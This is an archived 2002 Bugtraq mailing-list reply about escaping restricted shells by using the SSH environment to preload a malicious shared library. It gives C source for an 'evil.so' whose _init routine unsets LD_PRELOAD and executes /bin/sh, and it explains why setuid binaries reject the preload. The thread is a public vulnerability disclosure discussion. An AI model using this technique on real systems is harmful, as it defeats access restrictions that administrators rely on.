Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: ssh environment - circumvention of restricted shells
From: ari <edelkind-bugtraq () episec com>
Date: Thu, 27 Jun 2002 00:54:53 -0400

lsawyer () gci com said this stuff:

[...]
I've tried this 'exploit' on both Linux 2.4.14 (redhat) and Solaris 2.8
boxen, and have been unable to get a shell.  The shell process is there,
but fails to communicate with the network socket.  

Ah; /bin/sh is shared on your system as well.  To get around this, try
the following code for evil.so:

-----
#include <unistd.h>
#include <stdlib.h>

void _init (void) {
        unsetenv("LD_PRELOAD");
        execl("/bin/sh", "sh", 0);
}
-----

*** However ***, if i replace "/bin/sh" with "ping some.ip.add.ress"  and
attempt the connection, i'm greeted with the following:

      Last login: today from somehost
      Sun Microsystems Inc.  SunOS 5.8
      ld.so.1: ping: warning: /homes/evil/.ssh/evil.so: open failed:
illegal insecure pathname
      some.ip.add.ress is alive
      Connection to target closed.

Your 'ping' binary is probably setuid-root.  What happens is, the shared
library executes ping, but the LD_PRELOAD environment variable hasn't
gone anywhere.  When ping executes, ld.so sees LD_PRELOAD (which is
forbidden for setuid programs), complains, and doesn't execute it.

On the other hand, when executing your shared /bin/sh, every /bin/sh
process once again preloads evil.so, creating an infinite execl(3) loop.
The code above should account for that.

ari


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault